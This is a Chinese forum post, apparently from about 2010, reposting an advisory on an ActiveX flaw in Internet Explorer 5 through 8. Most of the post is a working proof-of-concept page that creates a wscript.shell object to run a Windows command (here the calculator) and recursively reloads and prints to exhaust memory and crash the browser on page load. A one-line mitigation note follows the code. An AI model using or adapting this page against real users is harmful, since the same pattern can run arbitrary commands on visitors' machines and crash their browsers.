- 听众
- 收听
- 积分
- 3894
- 主题
- 回帖
- 0
- 精华
注册时间2008-4-22
最后登录1970-1-1
该用户从未签到
|
该漏洞存在于ActiveX控件中.
攻击者可以构造恶意页面诱使用户访问，恶意代码可运行任何Windows命令，消耗大量内存，导致访问者IE浏览器崩溃。
测试代码
- <html>
- <title>cnhackerx@163.com</title>
- <head>
- <script type="text/javascript">
- function sucks()
- {
- var shell=new ActiveXObject("wscript.shell");
- shell.Run("calc", 1);
- }
- function asheesh()
- {
- sucks();
- window.onerror=new Function("history.go(0)");
- window.print();
- asheesh();
- }
- asheesh();
- </script>
- </head>
- <body onLoad="asheesh()"></body>
- </html>
影响版本
Internet Explorer 5，6，7，8
安全建议
禁止ActiveX控件自动运行.不要手工运行该类控件运行。
[以上来自互联网] |
|
IP卡
狗仔卡
发表于 2010-3-30 23:55:05
提升卡
置顶卡
喧嚣卡
变色卡
抢沙发
显身卡
发表于 2010-3-31 00:35:35
